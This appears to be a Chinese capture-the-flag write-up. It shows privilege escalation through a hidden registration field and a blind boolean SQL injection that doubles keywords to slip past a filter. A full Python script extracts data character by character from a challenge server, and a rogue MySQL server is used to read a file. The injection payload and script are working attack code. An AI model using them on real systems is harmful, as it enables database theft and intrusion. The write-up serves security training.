根据登入后的提示,用户会有分级,注册账号的时候隐藏了type属性
type赋值为110,登录后可以访问flag.php 里面是一个search框,可以测试一下注入
简单测试发现只过滤了select和from,可以双写绕过,所以写一个脚本跑就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import requests flag= '' url = 'http://121.37.179.47:1001/search.php' Cookie = {'PHPSESSID':'huiulsnkb5bpm59h6v38o1qlv1;', 'username':'41fcba09f2bdcdf315ba4119dc7978dd'} proxies = { "http": "http://127.0.0.1:8080", }
for i in range(1,50): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#" url_1=url+payload.format(i,mid) data={"flag":payload.format(i,mid)} r=requests.post(url,data=data,cookies=Cookie,proxies=proxies) print(r.content) if b"is flag" in r.content: low=mid+1 else: high=mid mid=(low+high)//2 print(flag) flag+=chr(mid)
|
数据库里只有一半的flag:flag{Rogue-MySql-Server- ,同时还得到了admin用户的密码:whoamiadmin
根据前半段flag和登录后的提示,也就是伪造mysql服务任意文件读取的问题了,通过Rogue-MySql-Server脚本设置读取一下flag.php文件
也就拿到了flag的后一部分,拼接起来就可以了。